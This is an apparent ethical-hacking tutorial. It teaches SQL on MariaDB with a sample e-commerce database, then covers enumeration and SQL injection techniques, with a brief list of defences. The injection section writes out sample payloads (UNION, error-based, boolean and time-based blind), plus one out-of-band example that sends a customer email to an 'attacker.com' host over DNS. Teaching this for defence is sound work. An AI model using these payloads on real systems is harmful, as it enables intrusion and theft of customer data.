Welcome to this enhanced guide on Structured Query Language (SQL) tailored for Certified Ethical Hacker (CEH) students using Kali Linux. We'll delve deeper into SQL operations using a realistic E-commerce database example (Products & Companies), explore database enumeration techniques, understand SQL injection nuances, and practice relevant scenarios, all using MariaDB.
Why SQL Mastery is Crucial for Ethical Hacking
Databases are the heart of most applications, storing critical data like customer details, product information, orders, and credentials. Understanding SQL is paramount for a CEH because it enables you to:
- Identify & Exploit Vulnerabilities: Recognize and leverage SQL Injection (SQLi) flaws in web applications (especially E-commerce sites) to bypass security controls, manipulate prices, or exfiltrate sensitive data (customer info, payment details - if stored insecurely).
- Perform Database Enumeration: Discover database structure (e.g., `products`, `orders`, `customers` tables), versions, users, and potentially sensitive data stores during penetration tests.
- Analyze Data Storage: Understand how E-commerce applications store product details, pricing, inventory, customer data, and potentially expose it insecurely.
- Assess Security Posture: Evaluate database configurations, user privileges (e.g., does the web user have excessive permissions?), and security mechanisms protecting sensitive E-commerce data.
- Conduct Forensic Analysis: Examine database logs and states during incident response investigations involving compromised E-commerce sites.
- Understand Application Logic: Gain insights into backend processes (like inventory management, order processing) by observing how applications interact with databases.
Setting Up Your MariaDB Lab Environment on Kali
Environment: We are using MariaDB, a widely used, open-source relational database management system (RDBMS), readily available in Kali Linux repositories. It's a fork of MySQL and largely compatible.
1. Installation
Ensure your package list is up-to-date and install the MariaDB server:
sudo apt update
sudo apt install mariadb-server -yapt update refreshes package information from repositories. apt install mariadb-server -y downloads and installs the MariaDB server package and its dependencies, automatically confirming prompts.
2. Starting and Enabling the Service
Ensure the MariaDB service is running and configured to start on boot:
sudo systemctl start mariadb
sudo systemctl enable mariadbsystemctl start initiates the service for the current session. systemctl enable creates symbolic links so the service starts automatically when Kali Linux boots.
3. Checking the Service Status
Verify MariaDB is active and running without errors:
sudo systemctl status mariadbLook for output indicating active (running) in green. Press 'q' to exit the status view. If it's not running, check logs using journalctl -xe for clues.
4. Initial Security Configuration (Crucial!)
Run the post-installation security script. Do not skip this step!
sudo mysql_secure_installationThis interactive script helps:
- Set a strong root password (essential!).
- Remove anonymous user accounts.
- Disallow root login from remote machines (highly recommended).
- Remove the test database (which can be a security risk).
- Reload privilege tables to apply changes immediately.
5. Logging In to MariaDB
Connect to the database server using the root account:
sudo mysql -u root -pYou'll be prompted for the MariaDB root password you set during mysql_secure_installation. You need sudo here because, by default on Debian/Ubuntu based systems like Kali, the root database user authenticates using the system's root privileges via the unix_socket plugin.
Upon successful login, your prompt changes to MariaDB [(none)]>, indicating you are connected but haven't selected a specific database yet.
6. Basic Server Exploration Commands
SHOW DATABASES;Lists all databases visible to the current user.
SELECT user(), current_user(), version();Shows the connecting user, the user whose privileges are currently active, and the MariaDB server version. Version information is often key for attackers looking for known exploits.
SHOW VARIABLES LIKE '%validate_password%';(MariaDB 10.1.8+ if plugin enabled) Shows password complexity settings. Useful for assessing security posture.
EXIT;Disconnects from the MariaDB server and returns you to the Kali shell.
7. Creating a Dedicated Practice User (Recommended)
Instead of always using the powerful `root` user, let's create a less privileged user for our lab exercises. Log in as root first (sudo mysql -u root -p).
CREATE DATABASE IF NOT EXISTS lab_ecommerce_db; -- Create DB if it doesn't exist
CREATE USER 'lab_user'@'localhost' IDENTIFIED BY 'Str0ngP@ssw0rd!'; -- Use a strong password
GRANT ALL PRIVILEGES ON lab_ecommerce_db.* TO 'lab_user'@'localhost';
FLUSH PRIVILEGES;
EXIT;
- CREATE DATABASE IF NOT EXISTS lab_ecommerce_db;: Creates our E-commerce practice database if it's not already there.
- CREATE USER 'lab_user'@'localhost' ...: Creates a new user named 'lab_user' that can only connect from the local machine. Replace the password!
- GRANT ALL PRIVILEGES ON lab_ecommerce_db.* ...: Gives this user full permissions ONLY on the `lab_ecommerce_db` database. For real applications, grant more specific privileges (SELECT, INSERT, UPDATE only on needed tables).
- FLUSH PRIVILEGES;: Reloads the grant tables.
Now you can log in as this user: mysql -u lab_user -p (no `sudo` needed). Enter the password you set.
Core SQL Operations (E-commerce Context)
Let's dive into practical SQL commands using our E-commerce schema. Log in as your `lab_user` (mysql -u lab_user -p) and select the database.
USE lab_ecommerce_db;Selects `lab_ecommerce_db` as the active database. Your prompt should change to MariaDB [lab_ecommerce_db]>.
1. Database and Table Creation (Products & Companies)
-- Create the 'companies' table first (since 'products' references it)
CREATE TABLE companies (
company_id INT AUTO_INCREMENT PRIMARY KEY,
company_name VARCHAR(100) NOT NULL UNIQUE,
country VARCHAR(50),
website VARCHAR(255),
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- Create the 'products' table with a foreign key to 'companies'
CREATE TABLE products (
product_id INT AUTO_INCREMENT PRIMARY KEY,
product_name VARCHAR(150) NOT NULL,
description TEXT,
price DECIMAL(10, 2) NOT NULL CHECK (price >= 0), -- Price can be 0 (e.g., free sample)
sku VARCHAR(50) UNIQUE NOT NULL, -- Stock Keeping Unit
category VARCHAR(80),
stock_level INT DEFAULT 0,
company_id INT, -- Foreign key column
added_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (company_id) REFERENCES companies(company_id)
ON DELETE SET NULL -- If a company is deleted, set product's company_id to NULL
ON UPDATE CASCADE -- If a company_id changes (rare), update it here too
);- We create a `companies` table for brands/suppliers. - We create a `products` table containing product details. - `FOREIGN KEY (company_id) REFERENCES companies(company_id)` links each product to a company. - `ON DELETE SET NULL`: If the referenced company is deleted, the product's `company_id` becomes `NULL` (the product remains, but unassociated). Alternatives: `RESTRICT` (prevent company deletion if products exist), `CASCADE` (delete products if company is deleted - less common here). - `ON UPDATE CASCADE`: If a `company_id` in the `companies` table is updated (unlikely but possible), the change automatically propagates to the `products` table. - `CHECK (price >= 0)` adds a constraint to ensure valid prices.
2. Describing and Altering Tables
DESCRIBE products;Shows the structure (columns, types, keys, etc.) of the `products` table.
SHOW CREATE TABLE companies;Displays the exact `CREATE TABLE` SQL statement used to create the `companies` table.
ALTER TABLE products ADD COLUMN weight_kg DECIMAL(6, 2) NULL AFTER stock_level;Modifies the `products` table to add a new numeric column `weight_kg` after `stock_level`, allowing NULL values.
ALTER TABLE products DROP COLUMN category;Removes the `category` column from the `products` table.
3. Inserting Data (Creating Records)
-- Insert some companies
INSERT INTO companies (company_name, country, website) VALUES
('TechGadget Inc.', 'USA', 'https://techgadget.example.com'),
('EuroWare Solutions', 'Germany', 'https://euroware.example.com'),
('AsiaSoft Ltd.', 'Singapore', 'https://asiasoft.example.com');
-- Check the inserted companies and their IDs
SELECT company_id, company_name FROM companies;
-- Insert products, referencing the company_id obtained above (Assuming IDs are 1, 2, 3)
INSERT INTO products (product_name, description, price, sku, stock_level, company_id) VALUES
('Quantum Laptop Pro', 'High-end laptop with AI features', 1499.99, 'TGI-QLP-001', 50, 1),
('Stealth USB Drive 256GB', 'Encrypted USB 3.2 drive', 75.50, 'TGI-SUD-256', 200, 1),
('ErgoOffice Keyboard', 'Ergonomic mechanical keyboard', 120.00, 'EWS-EK-003', 150, 2),
('CloudSync Software Suite', 'Business productivity software', 499.00, 'ASL-CSS-1YR', 1000, 3),
('DataStream Router X', 'High-speed Wi-Fi 6 router', 199.95, 'TGI-DSR-X', 75, 1);First, insert companies. Then, insert products, making sure the `company_id` values correctly reference the IDs from the `companies` table.
4. Selecting Data (Querying Records) - E-commerce Examples
Basic Selection
SELECT * FROM products;Retrieves all columns and rows from the `products` table.
SELECT product_name, price, sku FROM products;Retrieves only the product name, price, and SKU for all products.
Filtering with `WHERE`
SELECT product_name, stock_level FROM products WHERE stock_level < 10;Finds products with low stock (less than 10 units).
SELECT product_name, price FROM products WHERE price BETWEEN 100.00 AND 500.00;Selects products priced between $100 and $500 (inclusive).
SELECT product_name FROM products WHERE product_name LIKE '%Pro%';Finds products with "Pro" anywhere in their name.
SELECT product_name, price FROM products WHERE company_id = 1;Selects products manufactured by the company with ID 1 (TechGadget Inc. in our example).
Ordering Results with `ORDER BY`
SELECT product_name, price FROM products ORDER BY price DESC;Lists products from the most expensive to the least expensive.
SELECT product_name, added_date FROM products ORDER BY added_date ASC;Lists products based on the date they were added, oldest first.
Limiting Results with `LIMIT`
SELECT sku, product_name, price FROM products ORDER BY price DESC LIMIT 5;Shows the top 5 most expensive products.
Aggregate Functions (`COUNT`, `AVG`, `SUM`, `MIN`, `MAX`)
SELECT COUNT(*) AS total_products FROM products;Counts the total number of different products listed.
SELECT AVG(price) AS average_price FROM products WHERE company_id = 1;Calculates the average price of products from company ID 1.
SELECT SUM(stock_level) AS total_units_in_stock FROM products;Calculates the total number of units across all products in stock.
SELECT MAX(price) AS highest_price, MIN(price) AS lowest_price FROM products;Finds the highest and lowest product prices.
Grouping Data with `GROUP BY` and `HAVING`
SELECT company_id, COUNT(*) AS num_products
FROM products
GROUP BY company_id
ORDER BY num_products DESC;Shows how many products each company has listed, ordered by the count.
SELECT company_id, AVG(price) AS avg_product_price
FROM products
GROUP BY company_id
HAVING COUNT(*) >= 2;Calculates the average product price for each company, but only includes companies that have listed 2 or more products.
Joining Tables (`JOIN`) - Linking Products and Companies
JOINs are essential for combining related data, like showing product details along with the manufacturer's name and country.
SELECT
p.product_name,
p.price,
p.sku,
c.company_name,
c.country
FROM
products p -- Alias 'products' as 'p'
INNER JOIN
companies c ON p.company_id = c.company_id -- Join condition
WHERE
p.price > 100
ORDER BY
c.company_name, p.product_name;- Selects product details from `products` (aliased as `p`) and company details from `companies` (aliased as `c`). - `INNER JOIN companies c ON p.company_id = c.company_id`: Combines rows where the `company_id` matches in both tables. Only products with a valid, existing company are shown. - Filters for products priced over $100 and orders the results.
SELECT
c.company_name,
COUNT(p.product_id) AS number_of_products_listed
FROM
companies c -- Start with companies table
LEFT JOIN
products p ON c.company_id = p.company_id -- Match products to companies
GROUP BY
c.company_name
ORDER BY
number_of_products_listed DESC;- `LEFT JOIN`: Selects *all* companies from the `companies` table (`c`), and matches them with their products (`p`). If a company has no products listed, it still appears in the result, but `COUNT(p.product_id)` will be 0 for that company. - Shows all companies and the number of products they have listed.
5. Updating Data (Modifying Records)
UPDATE products SET stock_level = stock_level + 50 WHERE sku = 'TGI-QLP-001';Increases the stock level for the product with a specific SKU.
6. Deleting Data (Removing Records)
DELETE FROM products WHERE stock_level = 0 AND product_name LIKE '%Obsolete%';Deletes products marked as 'Obsolete' in their name that are also out of stock.
Database Enumeration for Ethical Hackers
Before exploiting, attackers (and penetration testers) need to understand the database landscape. SQL itself provides powerful tools for this reconnaissance, especially relevant in complex E-commerce databases.
Using `INFORMATION_SCHEMA`
Most modern SQL databases provide the INFORMATION_SCHEMA database, containing metadata about other databases, tables, columns, etc.
SELECT schema_name FROM information_schema.schemata;Lists all database names visible to the current user.
SELECT table_name
FROM information_schema.tables
WHERE table_schema = 'lab_ecommerce_db';
-- Or guess common E-commerce DB names:
-- WHERE table_schema IN ('production', 'ecommerce', 'store_db');Lists all table names within the database. Attackers hunt for tables like `products`, `customers`, `orders`, `user_credentials`, `payment_details`.
SELECT column_name, data_type
FROM information_schema.columns
WHERE table_schema = 'lab_ecommerce_db' AND table_name = 'products';Lists columns and types for the `products` table. Reveals fields like `price`, `stock_level`. An attacker would also probe `customers` or similar tables for sensitive columns.
-- Conceptual UNION-based SQLi to extract product names and prices
-- Assume original query returns 2 string columns.
' UNION SELECT product_name, price FROM products WHERE price > 1000 --This *conceptual* SQLi payload attempts to display names and prices of expensive products directly on the webpage, bypassing normal application logic.
SQL Injection: Techniques and Impact
The Core Idea Revisited: SQL Injection exploits applications that incorrectly build SQL queries by concatenating user-supplied input directly into the query string. This allows attackers to alter the query's logic, potentially leading to unauthorized access (viewing all orders), data theft (customer PII), data modification (changing prices), or even command execution on the database server.
Common SQL Injection Techniques Explored
Attackers employ various methods based on application behavior:
1. In-Band SQL Injection (Direct Response)
-
Error-Based SQLi:
Goal: Extract database structure/metadata via error messages.
Input: product_id=1' -- Trigger syntax error revealing query structure Input: product_id=1 AND 1=(SELECT @@version) -- Trigger type mismatch revealing DB version -
Union-Based SQLi:
Goal: Extract data from arbitrary tables.
Input: product_id=-1 UNION SELECT 1, @@version -- Fetch DB version (assuming 2 columns) Input: product_id=-1 UNION SELECT product_name, price FROM products WHERE stock_level > 0 -- Dump product list
2. Inferential (Blind) SQL Injection (Indirect Response)
-
Boolean-Based Blind SQLi:
Goal: Extract data character-by-character by asking True/False questions.
Input: product_id=1 AND (SELECT COUNT(*) FROM orders) > 1000 -- Check if orders table is large Input: product_id=1 AND SUBSTRING((SELECT company_name FROM companies WHERE company_id=1), 1, 1) = 'T' -- Check first letter of company name -
Time-Based Blind SQLi:
Goal: Extract data by inducing conditional time delays.
Input: product_id=1 AND IF((SELECT COUNT(*) FROM products WHERE price > 500) > 10, SLEEP(5), 0) -- Check # expensive items Input: product_id=1; SELECT CASE WHEN (SELECT COUNT(*) FROM customers > 5000) THEN SLEEP(5) ELSE 0 END; --
3. Out-of-Band SQL Injection (OOB)
Goal: Exfiltrate data via alternative network channels (DNS, HTTP).
Conceptual Examples:
-- Conceptual: Exfiltrate first customer email via DNS lookup (requires specific DB features/permissions)
Input: product_id=1; ... '... ' || (SELECT email FROM customers LIMIT 1) || '.attacker.com' ...A Note on Syntax Variations
SQL syntax can differ slightly between database systems...
Defending Against SQL Injection
Preventing SQLi is crucial for application security, especially E-commerce...
- Parameterized Queries (Prepared Statements): The most effective defense...
- Input Validation & Sanitization...
- Least Privilege Principle...
- Web Application Firewalls (WAFs)...
- Regular Patching & Updates...
- Disable Verbose Error Messages...
Practice Scenario: E-commerce Database Queries
Using the `lab_ecommerce_db` database with the `companies` and `products` tables you created and populated earlier, try to write SQL queries for the following tasks:
- Find all products manufactured by 'TechGadget Inc.'.
- List product names and their prices, ordered from most expensive to least expensive, but only show the top 3.
- Find companies located in 'USA'.
- Calculate the total value of all stock currently held (Sum of `price * stock_level` for all products).
- List company names and the number of products each company has listed in the database.
- Find the product with the highest stock level.
- List all products with a price less than $100, showing the product name and the company name.
- Use `INFORMATION_SCHEMA` to list all tables in your `lab_ecommerce_db`.
- Use `INFORMATION_SCHEMA` to find the data type of the `sku` column in the `products` table.
- Add a new product for 'EuroWare Solutions'.
- Increase the price of all products from 'AsiaSoft Ltd.' by 10%. (Use `UPDATE` carefully!).
What Next? Deepening Your SQL and Database Security Skills
This guide provided a solid foundation. To become proficient:
- Master Advanced SQL...
- Practice Extensively...
- Learn `sqlmap`...
- Study Database-Specific Features...
- Database Hardening...
- Explore NoSQL Databases...
Conclusion
SQL is a fundamental skill for any cybersecurity professional... By practicing diligently in controlled environments and committing to ethical conduct, you can leverage this knowledge to effectively assess and help secure database systems.